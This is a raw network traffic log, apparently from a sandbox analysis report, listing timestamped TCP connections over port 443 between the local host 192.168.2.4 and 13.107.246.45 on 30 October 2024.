Oct 30, 2024 20:13:58.728593111 CET	49768	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:58.728599072 CET	443	49768	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:58.730671883 CET	49772	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:58.730720043 CET	443	49772	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:58.730798006 CET	49772	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:58.730932951 CET	49772	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:58.730951071 CET	443	49772	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:58.755152941 CET	443	49765	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:58.755242109 CET	443	49765	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:58.755328894 CET	49765	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:58.762444973 CET	49765	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:58.762455940 CET	443	49765	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:58.762468100 CET	49765	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:58.762475014 CET	443	49765	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:58.764631987 CET	49773	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:58.764662027 CET	443	49773	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:58.764735937 CET	49773	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:58.764846087 CET	49773	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:58.764861107 CET	443	49773	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:59.657274008 CET	443	49769	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:59.657587051 CET	443	49773	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:59.657814026 CET	49769	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:59.657849073 CET	443	49769	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:59.658370018 CET	49769	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:59.658375978 CET	443	49769	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:59.658574104 CET	49773	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:59.658601999 CET	443	49773	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:59.658977985 CET	49773	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:59.658984900 CET	443	49773	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:59.659250021 CET	443	49770	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:59.659531116 CET	49770	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:59.659548044 CET	443	49770	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:59.659877062 CET	49770	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:59.659881115 CET	443	49770	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:59.664881945 CET	443	49771	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:59.665205002 CET	49771	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:59.665214062 CET	443	49771	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:59.665250063 CET	443	49772	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:59.665501118 CET	49772	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:59.665532112 CET	443	49772	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:59.665644884 CET	49771	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:59.665649891 CET	443	49771	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:59.665910959 CET	49772	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:59.665924072 CET	443	49772	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:59.787976980 CET	443	49769	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:59.788039923 CET	443	49769	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:59.788093090 CET	49769	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:59.788279057 CET	49769	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:59.788302898 CET	443	49769	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:59.788315058 CET	49769	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:59.788321018 CET	443	49769	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:59.790549994 CET	443	49770	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:59.790636063 CET	443	49770	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:59.790695906 CET	49770	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:59.790796995 CET	49770	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:59.790812016 CET	443	49770	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:59.790826082 CET	49770	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:59.790831089 CET	443	49770	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:59.791361094 CET	49774	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:59.791413069 CET	443	49774	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:59.791497946 CET	49774	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:59.791640997 CET	49774	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:59.791654110 CET	443	49774	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:59.792766094 CET	443	49773	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:59.792814970 CET	443	49773	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:59.792860985 CET	49773	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:59.792968035 CET	49773	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:59.792983055 CET	443	49773	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:59.792993069 CET	49775	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:59.792993069 CET	49773	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:59.793018103 CET	443	49775	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:59.793025970 CET	443	49773	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:59.793076992 CET	49775	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:59.793226957 CET	49775	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:59.793240070 CET	443	49775	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:59.794886112 CET	49776	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:59.794918060 CET	443	49776	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:59.795011044 CET	49776	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:59.795140982 CET	49776	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:59.795156956 CET	443	49776	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:59.795967102 CET	443	49771	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:59.796257019 CET	443	49771	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:59.796300888 CET	49771	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:59.796329975 CET	49771	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:59.796335936 CET	443	49771	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:59.796346903 CET	49771	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:59.796350002 CET	443	49771	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:59.798177004 CET	49777	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:59.798197031 CET	443	49777	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:59.798266888 CET	49777	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:59.798378944 CET	49777	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:59.798391104 CET	443	49777	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:59.799305916 CET	443	49772	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:59.799575090 CET	443	49772	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:59.799638987 CET	49772	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:59.799685001 CET	49772	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:59.799685001 CET	49772	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:59.799711943 CET	443	49772	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:59.799737930 CET	443	49772	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:59.801491976 CET	49778	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:59.801502943 CET	443	49778	13.107.246.45	192.168.2.4
Oct 30, 2024 20:13:59.801573038 CET	49778	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:59.801708937 CET	49778	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:13:59.801722050 CET	443	49778	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:00.529916048 CET	443	49775	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:00.530471087 CET	49775	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:00.530488968 CET	443	49775	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:00.531008959 CET	49775	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:00.531013966 CET	443	49775	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:00.533267975 CET	443	49776	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:00.533657074 CET	49776	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:00.533700943 CET	443	49776	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:00.534230947 CET	49776	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:00.534246922 CET	443	49776	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:00.537456036 CET	443	49774	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:00.537761927 CET	49774	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:00.537796974 CET	443	49774	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:00.538160086 CET	49774	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:00.538177013 CET	443	49774	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:00.549287081 CET	443	49777	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:00.549621105 CET	49777	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:00.549633980 CET	443	49777	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:00.550115108 CET	49777	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:00.550121069 CET	443	49777	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:00.556792974 CET	443	49778	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:00.557307959 CET	49778	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:00.557324886 CET	443	49778	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:00.557712078 CET	49778	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:00.557722092 CET	443	49778	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:00.659709930 CET	443	49775	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:00.659807920 CET	443	49775	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:00.659969091 CET	49775	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:00.660105944 CET	49775	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:00.660120010 CET	443	49775	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:00.660129070 CET	49775	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:00.660132885 CET	443	49775	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:00.663100958 CET	49779	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:00.663136959 CET	443	49779	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:00.663239002 CET	49779	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:00.663410902 CET	49779	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:00.663422108 CET	443	49779	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:00.665093899 CET	443	49776	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:00.665386915 CET	443	49776	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:00.665445089 CET	49776	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:00.665501118 CET	49776	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:00.665502071 CET	49776	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:00.665539026 CET	443	49776	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:00.665561914 CET	443	49776	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:00.667383909 CET	49780	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:00.667402029 CET	443	49780	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:00.667474985 CET	49780	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:00.667581081 CET	49780	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:00.667593956 CET	443	49780	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:00.672589064 CET	443	49774	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:00.672694921 CET	443	49774	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:00.672750950 CET	49774	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:00.672797918 CET	49774	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:00.672813892 CET	443	49774	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:00.672825098 CET	49774	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:00.672831059 CET	443	49774	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:00.674663067 CET	49781	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:00.674693108 CET	443	49781	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:00.674762964 CET	49781	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:00.674890995 CET	49781	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:00.674901009 CET	443	49781	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:00.682470083 CET	443	49777	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:00.682634115 CET	443	49777	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:00.682676077 CET	49777	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:00.682723045 CET	49777	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:00.682738066 CET	443	49777	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:00.682749987 CET	49777	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:00.682756901 CET	443	49777	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:00.684688091 CET	49782	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:00.684709072 CET	443	49782	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:00.684767962 CET	49782	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:00.684874058 CET	49782	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:00.684884071 CET	443	49782	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:00.695302963 CET	443	49778	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:00.695470095 CET	443	49778	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:00.695528984 CET	49778	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:00.695574045 CET	49778	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:00.695574045 CET	49778	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:00.695591927 CET	443	49778	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:00.695611954 CET	443	49778	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:00.698112965 CET	49783	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:00.698158979 CET	443	49783	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:00.698220968 CET	49783	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:00.698332071 CET	49783	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:00.698353052 CET	443	49783	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:01.407666922 CET	443	49780	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:01.408315897 CET	49780	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:01.408338070 CET	443	49780	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:01.408417940 CET	443	49779	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:01.408680916 CET	49779	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:01.408706903 CET	443	49779	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:01.408953905 CET	49780	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:01.408958912 CET	443	49780	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:01.409215927 CET	49779	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:01.409224033 CET	443	49779	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:01.418153048 CET	443	49782	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:01.418642998 CET	49782	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:01.418656111 CET	443	49782	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:01.419225931 CET	49782	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:01.419230938 CET	443	49782	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:01.424308062 CET	443	49783	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:01.424721003 CET	49783	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:01.424741983 CET	443	49783	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:01.425251007 CET	49783	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:01.425257921 CET	443	49783	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:01.470735073 CET	443	49781	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:01.471230030 CET	49781	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:01.471241951 CET	443	49781	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:01.471719027 CET	49781	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:01.471724987 CET	443	49781	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:01.536869049 CET	443	49780	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:01.537792921 CET	443	49780	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:01.537863016 CET	49780	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:01.537913084 CET	49780	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:01.537913084 CET	49780	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:01.537935972 CET	443	49780	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:01.537947893 CET	443	49780	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:01.540884018 CET	443	49779	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:01.540999889 CET	443	49779	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:01.541003942 CET	49784	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:01.541058064 CET	443	49784	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:01.541090012 CET	49779	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:01.541126966 CET	49784	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:01.541187048 CET	49779	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:01.541207075 CET	443	49779	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:01.541225910 CET	49779	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:01.541233063 CET	443	49779	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:01.541286945 CET	49784	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:01.541301012 CET	443	49784	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:01.543596029 CET	49785	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:01.543637991 CET	443	49785	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:01.543713093 CET	49785	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:01.543849945 CET	49785	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:01.543864965 CET	443	49785	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:01.557449102 CET	443	49782	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:01.557473898 CET	443	49783	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:01.557523012 CET	443	49782	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:01.557564020 CET	443	49783	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:01.557579994 CET	49782	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:01.557609081 CET	49783	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:01.557740927 CET	49782	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:01.557749987 CET	443	49782	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:01.557766914 CET	49782	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:01.557766914 CET	49783	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:01.557766914 CET	49783	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:01.557774067 CET	443	49782	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:01.557790995 CET	443	49783	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:01.557802916 CET	443	49783	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:01.560611010 CET	49786	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:01.560625076 CET	443	49786	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:01.560693979 CET	49786	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:01.560812950 CET	49786	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:01.560822010 CET	443	49786	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:01.561016083 CET	49787	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:01.561058044 CET	443	49787	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:01.561113119 CET	49787	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:01.561202049 CET	49787	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:01.561213017 CET	443	49787	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:01.606551886 CET	443	49781	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:01.608602047 CET	443	49781	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:01.608711958 CET	49781	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:01.620793104 CET	49781	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:01.620836020 CET	443	49781	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:01.620860100 CET	49781	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:01.620870113 CET	443	49781	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:01.623290062 CET	49788	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:01.623351097 CET	443	49788	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:01.623431921 CET	49788	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:01.623775005 CET	49788	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:01.623791933 CET	443	49788	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:02.277887106 CET	443	49785	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:02.298021078 CET	443	49787	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:02.312586069 CET	49785	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:02.312616110 CET	443	49785	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:02.316066027 CET	49785	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:02.316071987 CET	443	49785	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:02.316757917 CET	49787	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:02.316765070 CET	443	49787	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:02.317255974 CET	49787	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:02.317260027 CET	443	49787	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:02.332892895 CET	443	49786	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:02.333358049 CET	49786	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:02.333384991 CET	443	49786	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:02.337969065 CET	49786	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:02.337974072 CET	443	49786	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:02.341517925 CET	443	49784	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:02.342952967 CET	49784	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:02.342966080 CET	443	49784	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:02.343458891 CET	49784	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:02.343462944 CET	443	49784	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:02.369844913 CET	443	49788	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:02.371814013 CET	49788	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:02.371862888 CET	443	49788	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:02.372359991 CET	49788	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:02.372368097 CET	443	49788	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:02.442095041 CET	443	49785	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:02.442183971 CET	443	49785	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:02.442354918 CET	49785	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:02.442379951 CET	443	49787	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:02.442557096 CET	443	49787	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:02.442604065 CET	49787	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:02.442729950 CET	49787	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:02.442730904 CET	49785	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:02.442750931 CET	443	49787	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:02.442780018 CET	443	49785	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:02.442787886 CET	49785	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:02.442794085 CET	443	49785	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:02.442800999 CET	49787	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:02.442804098 CET	443	49787	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:02.445574045 CET	49789	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:02.445697069 CET	443	49789	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:02.445710897 CET	49790	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:02.445760012 CET	443	49790	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:02.445776939 CET	49789	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:02.445817947 CET	49790	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:02.445967913 CET	49789	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:02.445981026 CET	49790	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:02.445995092 CET	443	49790	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:02.446005106 CET	443	49789	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:02.464833975 CET	443	49786	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:02.464910030 CET	443	49786	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:02.464972019 CET	49786	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:02.465130091 CET	49786	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:02.465150118 CET	443	49786	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:02.465161085 CET	49786	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:02.465166092 CET	443	49786	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:02.467961073 CET	49791	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:02.468002081 CET	443	49791	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:02.468097925 CET	49791	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:02.468245983 CET	49791	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:02.468272924 CET	443	49791	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:02.474245071 CET	443	49784	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:02.474733114 CET	443	49784	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:02.474791050 CET	49784	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:02.474827051 CET	49784	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:02.474831104 CET	443	49784	13.107.246.45	192.168.2.4
